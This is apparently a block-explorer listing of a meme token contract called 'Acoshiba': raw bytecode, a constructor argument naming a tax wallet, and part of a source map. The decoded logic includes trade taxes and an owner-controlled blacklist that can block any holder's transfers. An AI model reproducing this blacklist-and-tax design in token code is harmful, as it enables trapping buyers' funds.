3841660009081526003602052604090205460ff16156114cb576114776009600a611f1c565b61148590633b9aca00611f2b565b82116114ad576114a660646111a1600d54600f541161143d5760095461119a565b90506114cb565b6114c860646111a1600d54600f541161143d5760095461119a565b90505b6001600160a01b03841660009081526004602052604090205460ff1615801561150d57506001600160a01b03831660009081526004602052604090205460ff16155b801561152257506001600160a01b0384163014155b1561152b575060005b3060009081526001602052604090205460185460ff1680156115575750601954600160a81b900460ff16155b801561157b57506001600160a01b03841660009081526004602052604090205460ff165b80156115905750601954600160b01b900460ff165b801561159f5750600e54600f54115b15611649576011544311156115b45760006010555b601754601054106115f95760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b6044820152606401610626565b6015548111156116205761162061161b84611616846016546119c7565b6119c7565b6119dc565b4761162a47611b79565b6010805490600061163a8361200d565b909155505043601155506116cd565b601954600160a81b900460ff1615801561167b57506001600160a01b03841660009081526004602052604090205460ff165b80156116905750601954600160b01b900460ff165b801561169f5750600e54600f54115b156116cd576015548111156116c1576116c161161b84611616846016546119c7565b476116cb47611b79565b505b505b801561174957306000908152600160205260409020546116ef9082611bb7565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117409085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461176c9083611c16565b6001600160a01b0385166000908152600160205260409020556117b16117928383611c16565b6001600160a01b03851660009081526001602052604090205490611bb7565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117fb8585611c16565b60405190815260200160405180910390a350505050565b600081848411156118365760405162461bcd60e51b81526004016106269190611c86565b5060006118438486612026565b95945050505050565b60008260000361185e5750600061056b565b600061186a8385611f2b565b9050826118778583612039565b146105f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b60006105f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c58565b600061191e6009600a611f1c565b61192c90633b9aca00611f2b565b821161195557826001600160a01b0316846001600160a01b03160361195057600080fd5b6119b2565b6019805460ff60b81b191690556001600160a01b038316600090815260016020526040902054611986908390611ffa565b6001600160a01b03841660009081526001602052604090205550601954600160b81b900460ff166105f5565b5050601954600160b81b900460ff1692915050565b60008183116119d657826105f5565b50919050565b6019805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611a2457611a24611fe4565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abb9190611f77565b81600181518110611ace57611ace611fe4565b6001600160a01b039283166020918202929092010152601854611af991309161010090041684610e61565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611b3690859060009086903090429060040161205b565b600060405180830381600087803b158015611b5057600080fd5b505af1158015611b64573d6000803e3d6000fd5b50506019805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611bb3573d6000803e3d6000fd5b5050565b600080611bc48385611ffa565b9050838110156105f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b60006105f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611812565b60008183611c795760405162461bcd60e51b81526004016106269190611c86565b5060006118438486612039565b60006020808352835180602085015260005b81811015611cb457858101830151858201604001528201611c98565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ce257600080fd5b60008060408385031215611cfd57600080fd5b8235611d0881611cd5565b946020939093013593505050565b600060208284031215611d2857600080fd5b81356105f581611cd5565b600080600060608486031215611d4857600080fd5b8335611d5381611cd5565b92506020840135611d6381611cd5565b929592945050506040919091013590565b60008060208385031215611d8757600080fd5b823567ffffffffffffffff80821115611d9f57600080fd5b818501915085601f830112611db357600080fd5b813581811115611dc257600080fd5b8660208260051b8501011115611dd757600080fd5b60209290920196919550909350505050565b60008060408385031215611dfc57600080fd5b8235611e0781611cd5565b91506020830135611e1781611cd5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611e73578160001904821115611e5957611e59611e22565b80851615611e6657918102915b93841c9390800290611e3d565b509250929050565b600082611e8a5750600161056b565b81611e975750600061056b565b8160018114611ead5760028114611eb757611ed3565b600191505061056b565b60ff841115611ec857611ec8611e22565b50506001821b61056b565b5060208310610133831016604e8410600b8410161715611ef6575081810a61056b565b611f008383611e38565b8060001904821115611f1457611f14611e22565b029392505050565b60006105f560ff841683611e7b565b808202811582820484141761056b5761056b611e22565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f8957600080fd5b81516105f581611cd5565b600080600060608486031215611fa957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611fd457600080fd5b815180151581146105f557600080fd5b634e487b7160e01b600052603260045260246000fd5b8082018082111561056b5761056b611e22565b60006001820161201f5761201f611e22565b5060010190565b8181038181111561056b5761056b611e22565b60008261205657634e487b7160e01b600052601260045260246000fd5b500490565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156120ad5784516001600160a01b031683529383019391830191600101612088565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122065613e3c3b2186bd2d6a662fcbeb6525689eee8af3053647c925801b45ead64764736f6c63430008190033000000000000000000000000bd1cd1ad980a68fa1dbedd2a6d418209135a1bda
Deployed Bytecode
0x6080604052600436106101a05760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f2fde38b11610064578063f2fde38b146104d0578063f4ef1f42146104f0578063f5b3c3bf1461050a578063ff8975701461053a57600080fd5b8063bf474bed1461045f578063dd62ed3e14610475578063eb07fd55146104bb57600080fd5b80638f9a55c0116100c65780638f9a55c0146103dd57806395d89b41146103f3578063a9059cbb1461041f578063b5ef226a1461043f57600080fd5b80637d1db4a5146103945780638a8c523c146103aa5780638da5cb5b146103bf57600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c14610312578063622565891461033457806370a0823114610349578063715018a61461037f57600080fd5b806323b872dd1461029e578063313ce567146102be57806349bd5a5e146102da57600080fd5b806306fdde03146101ac578063095ea7b3146101ef5780630e12062d1461021f5780630faee56f1461024357806318160ddd146102595780631cdd3be31461026e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600881526741636f736869626160c01b60208201525b6040516101e69190611c86565b60405180910390f35b3480156101fb57600080fd5b5061020f61020a366004611cea565b61055a565b60405190151581526020016101e6565b34801561022b57600080fd5b5061023560175481565b6040519081526020016101e6565b34801561024f57600080fd5b5061023560165481565b34801561026557600080fd5b50610235610571565b34801561027a57600080fd5b5061020f610289366004611d16565b60056020526000908152604090205460ff1681565b3480156102aa57600080fd5b5061020f6102b9366004611d33565b610592565b3480156102ca57600080fd5b50604051600981526020016101e6565b3480156102e657600080fd5b506019546102fa906001600160a01b031681565b6040516001600160a01b0390911681526020016101e6565b34801561031e57600080fd5b5061033261032d366004611d16565b6105fc565b005b34801561034057600080fd5b50610332610650565b34801561035557600080fd5b50610235610364366004611d16565b6001600160a01b031660009081526001602052604090205490565b34801561038b57600080fd5b50610332610703565b3480156103a057600080fd5b5061023560135481565b3480156103b657600080fd5b50610332610777565b3480156103cb57600080fd5b506000546001600160a01b03166102fa565b3480156103e957600080fd5b5061023560145481565b3480156103ff57600080fd5b5060408051808201909152600381526241434f60e81b60208201526101d9565b34801561042b57600080fd5b5061020f61043a366004611cea565b610bdb565b34801561044b57600080fd5b5061033261045a366004611d74565b610be8565b34801561046b57600080fd5b5061023560155481565b34801561048157600080fd5b50610235610490366004611de9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104c757600080fd5b50610332610c7f565b3480156104dc57600080fd5b506103326104eb366004611d16565b610ce5565b3480156104fc57600080fd5b5060185461020f9060ff1681565b34801561051657600080fd5b5061020f610525366004611d16565b60046020526000908152604090205460ff1681565b34801561054657600080fd5b50610332610555366004611d74565b610dcf565b6000610567338484610e61565b5060015b92915050565b600061057f6009600a611f1c565b61058d90633b9aca00611f2b565b905090565b600061059f848484610f85565b6105f184336105ec856040518060600160405280602881526020016120cf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611812565b610e61565b5060015b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611f42565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461067a5760405162461bcd60e51b815260040161062690611f42565b6106866009600a611f1c565b61069490633b9aca00611f2b565b6013556106a36009600a611f1c565b6106b190633b9aca00611f2b565b6014557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e16009600a611f1c565b6106ef90633b9aca00611f2b565b6040519081526020015b60405180910390a1565b6000546001600160a01b0316331461072d5760405162461bcd60e51b815260040161062690611f42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107a15760405162461bcd60e51b815260040161062690611f42565b601954600160a01b900460ff16156107fb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610626565b60188054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108549030906001600160a01b03610100909104166108466009600a611f1c565b6105ec90633b9aca00611f2b565b601860019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611f77565b6001600160a01b031663c9c6539630601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561092d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109519190611f77565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561099e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c29190611f77565b601980546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff1990811660019081179092559454861684526003909252909120805490921617905560185461010090041663f305d7194730610a47816001600160a01b031660009081526001602052604090205490565b600080610a5c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae99190611f94565b505060195460185460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b9190611fc2565b5060046017556019805462ff00ff60a01b19166201000160a01b1790819055436007556040805160ff600160a01b8404811615158252600160b01b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91016106f9565b6000610567338484610f85565b6000546001600160a01b03163314610c125760405162461bcd60e51b815260040161062690611f42565b60005b81811015610c7a57600060056000858585818110610c3557610c35611fe4565b9050602002016020810190610c4a9190611d16565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610c15565b505050565b6000546001600160a01b03163314610ca95760405162461bcd60e51b815260040161062690611f42565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610ce2573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610d0f5760405162461bcd60e51b815260040161062690611f42565b6001600160a01b038116610d745760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610df95760405162461bcd60e51b815260040161062690611f42565b60005b81811015610c7a57600160056000858585818110610e1c57610e1c611fe4565b9050602002016020810190610e319190611d16565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610dfc565b6001600160a01b038316610ec35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610fc757506001600160a01b03821660009081526005602052604090205460ff16155b6110215760405162461bcd60e51b815260206004820152602560248201527f45524332303a20546f2f66726f6d206164647265737320697320626c61636b6c6044820152641a5cdd195960da1b6064820152608401610626565b6001600160a01b0383166110855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b0382166110e75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b600081116111495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b600080546001600160a01b0385811691161480159061117657506000546001600160a01b03848116911614155b156116cf576111a760646111a1600c54600f54116111965760085461119a565b600a545b859061184c565b906118ce565b6001600160a01b03851660009081526004602052604090205490915060ff1680156111e557506018546001600160a01b038481166101009092041614155b801561120a57506001600160a01b03831660009081526003602052604090205460ff16155b15611314576013548211156112615760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610626565b60145482611284856001600160a01b031660009081526001602052604090205490565b61128e9190611ffa565b11156112dc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610626565b4360075460036112ec9190611ffa565b11156112fe57823b156112fe57600080fd5b600f805490600061130e8361200d565b91905055505b6001600160a01b03831660009081526004602052604090205460ff1615801561135657506001600160a01b03831660009081526003602052604090205460ff16155b156113d6576014548261137e856001600160a01b031660009081526001602052604090205490565b6113889190611ffa565b11156113d65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610626565b6001600160a01b03841660009081526004602052604090205460ff1615801561140857506001600160a01b0384163014155b1561144a57611418848484611910565b6114225750505050565b61144760646111a1600d54600f541161143d5760095461119a565b600b54859061184c565b90505b6001600160a01b03841660009081526003602052604090205460ff16156114cb576114776009600a611f1c565b61148590633b9aca00611f2b565b82116114ad576114a660646111a1600d54600f541161143d5760095461119a565b90506114cb565b6114c860646111a1600d54600f541161143d5760095461119a565b90505b6001600160a01b03841660009081526004602052604090205460ff1615801561150d57506001600160a01b03831660009081526004602052604090205460ff16155b801561152257506001600160a01b0384163014155b1561152b575060005b3060009081526001602052604090205460185460ff1680156115575750601954600160a81b900460ff16155b801561157b57506001600160a01b03841660009081526004602052604090205460ff165b80156115905750601954600160b01b900460ff165b801561159f5750600e54600f54115b15611649576011544311156115b45760006010555b601754601054106115f95760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b6044820152606401610626565b6015548111156116205761162061161b84611616846016546119c7565b6119c7565b6119dc565b4761162a47611b79565b6010805490600061163a8361200d565b909155505043601155506116cd565b601954600160a81b900460ff1615801561167b57506001600160a01b03841660009081526004602052604090205460ff165b80156116905750601954600160b01b900460ff165b801561169f5750600e54600f54115b156116cd576015548111156116c1576116c161161b84611616846016546119c7565b476116cb47611b79565b505b505b801561174957306000908152600160205260409020546116ef9082611bb7565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117409085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461176c9083611c16565b6001600160a01b0385166000908152600160205260409020556117b16117928383611c16565b6001600160a01b03851660009081526001602052604090205490611bb7565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117fb8585611c16565b60405190815260200160405180910390a350505050565b600081848411156118365760405162461bcd60e51b81526004016106269190611c86565b5060006118438486612026565b95945050505050565b60008260000361185e5750600061056b565b600061186a8385611f2b565b9050826118778583612039565b146105f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b60006105f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c58565b600061191e6009600a611f1c565b61192c90633b9aca00611f2b565b821161195557826001600160a01b0316846001600160a01b03160361195057600080fd5b6119b2565b6019805460ff60b81b191690556001600160a01b038316600090815260016020526040902054611986908390611ffa565b6001600160a01b03841660009081526001602052604090205550601954600160b81b900460ff166105f5565b5050601954600160b81b900460ff1692915050565b60008183116119d657826105f5565b50919050565b6019805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611a2457611a24611fe4565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abb9190611f77565b81600181518110611ace57611ace611fe4565b6001600160a01b039283166020918202929092010152601854611af991309161010090041684610e61565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611b3690859060009086903090429060040161205b565b600060405180830381600087803b158015611b5057600080fd5b505af1158015611b64573d6000803e3d6000fd5b50506019805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611bb3573d6000803e3d6000fd5b5050565b600080611bc48385611ffa565b9050838110156105f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b60006105f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611812565b60008183611c795760405162461bcd60e51b81526004016106269190611c86565b5060006118438486612039565b60006020808352835180602085015260005b81811015611cb457858101830151858201604001528201611c98565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ce257600080fd5b60008060408385031215611cfd57600080fd5b8235611d0881611cd5565b946020939093013593505050565b600060208284031215611d2857600080fd5b81356105f581611cd5565b600080600060608486031215611d4857600080fd5b8335611d5381611cd5565b92506020840135611d6381611cd5565b929592945050506040919091013590565b60008060208385031215611d8757600080fd5b823567ffffffffffffffff80821115611d9f57600080fd5b818501915085601f830112611db357600080fd5b813581811115611dc257600080fd5b8660208260051b8501011115611dd757600080fd5b60209290920196919550909350505050565b60008060408385031215611dfc57600080fd5b8235611e0781611cd5565b91506020830135611e1781611cd5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611e73578160001904821115611e5957611e59611e22565b80851615611e6657918102915b93841c9390800290611e3d565b509250929050565b600082611e8a5750600161056b565b81611e975750600061056b565b8160018114611ead5760028114611eb757611ed3565b600191505061056b565b60ff841115611ec857611ec8611e22565b50506001821b61056b565b5060208310610133831016604e8410600b8410161715611ef6575081810a61056b565b611f008383611e38565b8060001904821115611f1457611f14611e22565b029392505050565b60006105f560ff841683611e7b565b808202811582820484141761056b5761056b611e22565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f8957600080fd5b81516105f581611cd5565b600080600060608486031215611fa957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611fd457600080fd5b815180151581146105f557600080fd5b634e487b7160e01b600052603260045260246000fd5b8082018082111561056b5761056b611e22565b60006001820161201f5761201f611e22565b5060010190565b8181038181111561056b5761056b611e22565b60008261205657634e487b7160e01b600052601260045260246000fd5b500490565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156120ad5784516001600160a01b031683529383019391830191600101612088565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122065613e3c3b2186bd2d6a662fcbeb6525689eee8af3053647c925801b45ead64764736f6c63430008190033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000bd1cd1ad980a68fa1dbedd2a6d418209135a1bda
-----Decoded View---------------
Arg [0] : taxWallet (address): 0xbd1Cd1ad980A68Fa1dbeDD2A6D418209135a1BDA
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000bd1cd1ad980a68fa1dbedd2a6d418209135a1bda
Deployed Bytecode Sourcemap
4289:12209:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6537:83;;;;;;;;;;-1:-1:-1;6607:5:0;;;;;;;;;;;;-1:-1:-1;;;6607:5:0;;;;6537:83;;;;;;;:::i;:::-;;;;;;;;7420:186;;;;;;;;;;-1:-1:-1;7420:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7420:186:0;1023:187:1;5627:26:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5627:26:0;1215:177:1;5570:48:0;;;;;;;;;;;;;;;;6814:95;;;;;;;;;;;;;:::i;4603:46::-;;;;;;;;;;-1:-1:-1;4603:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7614:446;;;;;;;;;;-1:-1:-1;7614:446:0;;;;;:::i;:::-;;:::i;6723:83::-;;;;;;;;;;-1:-1:-1;6723:83:0;;5331:1;2252:36:1;;2240:2;2225:18;6723:83:0;2110:184:1;5746:28:0;;;;;;;;;;-1:-1:-1;5746:28:0;;;;-1:-1:-1;;;;;5746:28:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;5746:28:0;2299:203:1;8411:115:0;;;;;;;;;;-1:-1:-1;8411:115:0;;;;;:::i;:::-;;:::i;:::-;;15000:161;;;;;;;;;;;;;:::i;6917:119::-;;;;;;;;;;-1:-1:-1;6917:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7010:18:0;6983:7;7010:18;;;:9;:18;;;;;;;6917:119;3031:148;;;;;;;;;;;;;:::i;5412:49::-;;;;;;;;;;;;;;;;15269:1065;;;;;;;;;;;;;:::i;2817:79::-;;;;;;;;;;-1:-1:-1;2855:7:0;2882:6;-1:-1:-1;;;;;2882:6:0;2817:79;;5468:52;;;;;;;;;;;;;;;;6628:87;;;;;;;;;;-1:-1:-1;6700:7:0;;;;;;;;;;;;-1:-1:-1;;;6700:7:0;;;;6628:87;;7044:192;;;;;;;;;;-1:-1:-1;7044:192:0;;;;;:::i;:::-;;:::i;13871:223::-;;;;;;;;;;-1:-1:-1;13871:223:0;;;;;:::i;:::-;;:::i;5527:36::-;;;;;;;;;;;;;;;;7244:168;;;;;;;;;;-1:-1:-1;7244:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7377:18:0;;;7350:7;7377:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7244:168;16379:116;;;;;;;;;;;;;:::i;3187:281::-;;;;;;;;;;-1:-1:-1;3187:281:0;;;;;:::i;:::-;;:::i;5660:28::-;;;;;;;;;;-1:-1:-1;5660:28:0;;;;;;;;4554:42;;;;;;;;;;-1:-1:-1;4554:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14796:196;;;;;;;;;;-1:-1:-1;14796:196:0;;;;;:::i;:::-;;:::i;7420:186::-;7520:4;7537:39;444:10;7560:7;7569:6;7537:8;:39::i;:::-;-1:-1:-1;7594:4:0;7420:186;;;;;:::o;6814:95::-;6867:7;5390:15;5331:1;5390:2;:15;:::i;:::-;5374:31;;:13;:31;:::i;:::-;6887:14;;6814:95;:::o;7614:446::-;7746:4;7763:36;7773:6;7781:9;7792:6;7763:9;:36::i;:::-;7810:220;7833:6;444:10;7881:138;7937:6;7881:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7881:19:0;;;;;;:11;:19;;;;;;;;444:10;7881:33;;;;;;;;;;:37;:138::i;:::-;7810:8;:220::i;:::-;-1:-1:-1;8048:4:0;7614:446;;;;;;:::o;8411:115::-;2944:6;;-1:-1:-1;;;;;2944:6:0;444:10;2944:22;2936:67;;;;-1:-1:-1;;;2936:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;8487:23:0::1;8513:5;8487:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;8487:31:0::1;::::0;;8411:115::o;15000:161::-;2944:6;;-1:-1:-1;;;;;2944:6:0;444:10;2944:22;2936:67;;;;-1:-1:-1;;;2936:67:0;;;;;;;:::i;:::-;5390:15:::1;5331:1;5390:2;:15;:::i;:::-;5374:31;::::0;:13:::1;:31;:::i;:::-;15053:12;:22:::0;5390:15:::1;5331:1;5390:2;:15;:::i;:::-;5374:31;::::0;:13:::1;:31;:::i;:::-;15086:14;:24:::0;15126:27:::1;5390:15;5331:1;5390:2;:15;:::i;:::-;5374:31;::::0;:13:::1;:31;:::i;:::-;15126:27;::::0;1361:25:1;;;1349:2;1334:18;15126:27:0::1;;;;;;;;15000:161::o:0;3031:148::-;2944:6;;-1:-1:-1;;;;;2944:6:0;444:10;2944:22;2936:67;;;;-1:-1:-1;;;2936:67:0;;;;;;;:::i;:::-;3138:1:::1;3122:6:::0;;3101:40:::1;::::0;-1:-1:-1;;;;;3122:6:0;;::::1;::::0;3101:40:::1;::::0;3138:1;;3101:40:::1;3169:1;3152:19:::0;;-1:-1:-1;;;;;;3152:19:0::1;::::0;;3031:148::o;15269:1065::-;2944:6;;-1:-1:-1;;;;;2944:6:0;444:10;2944:22;2936:67;;;;-1:-1:-1;;;2936:67:0;;;;;;;:::i;:::-;15333:11:::1;::::0;-1:-1:-1;;;15333:11:0;::::1;;;15332:12;15324:48;;;::::0;-1:-1:-1;;;15324:48:0;;5765:2:1;15324:48:0::1;::::0;::::1;5747:21:1::0;5804:2;5784:18;;;5777:30;5843:25;5823:18;;;5816:53;5886:18;;15324:48:0::1;5563:347:1::0;15324:48:0::1;15383:15;:104:::0;;-1:-1:-1;;;;;;15383:104:0::1;::::0;::::1;::::0;;;;15498:58:::1;::::0;15515:4:::1;::::0;-1:-1:-1;;;;;15383:104:0::1;15530:15:::0;;::::1;;5390;5331:1;5390:2;:15;:::i;:::-;5374:31;::::0;:13:::1;:31;:::i;15498:58::-;15611:15;;;;;;;;;-1:-1:-1::0;;;;;15611:15:0::1;-1:-1:-1::0;;;;;15611:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15593:55:0::1;;15671:4;15691:15;;;;;;;;;-1:-1:-1::0;;;;;15691:15:0::1;-1:-1:-1::0;;;;;15691:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15593:131;::::0;-1:-1:-1;;;;;;15593:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6401:15:1;;;15593:131:0::1;::::0;::::1;6383:34:1::0;6453:15;;6433:18;;;6426:43;6318:18;;15593:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15577:13;:147:::0;;-1:-1:-1;;;;;15577:147:0;;::::1;-1:-1:-1::0;;;;;;15577:147:0;;::::1;::::0;::::1;::::0;;:13:::1;15745:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;15745:41:0;;::::1;15577:147:::0;15745:41;;::::1;::::0;;;15824:13;;;::::1;15797:42:::0;;:18:::1;:42:::0;;;;;;:49;;;;::::1;;::::0;;15857:15:::1;::::0;15577:147:::1;15857:15:::0;::::1;;:31;15896:21;15941:4;15961:24;15941:4:::0;-1:-1:-1;;;;;7010:18:0;6983:7;7010:18;;;:9;:18;;;;;;;6917:119;15961:24:::1;16000:1;16016::::0;16032:7:::1;2855::::0;2882:6;-1:-1:-1;;;;;2882:6:0;;2817:79;16032:7:::1;15857:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;15857:223:0;;;-1:-1:-1;;;;;6839:15:1;;;15857:223:0::1;::::0;::::1;6821:34:1::0;6871:18;;;6864:34;;;;6914:18;;;6907:34;;;;6957:18;;;6950:34;7021:15;;;7000:19;;;6993:44;16054:15:0::1;7053:19:1::0;;;7046:35;6755:19;;15857:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;16098:13:0::1;::::0;16129:15:::1;::::0;160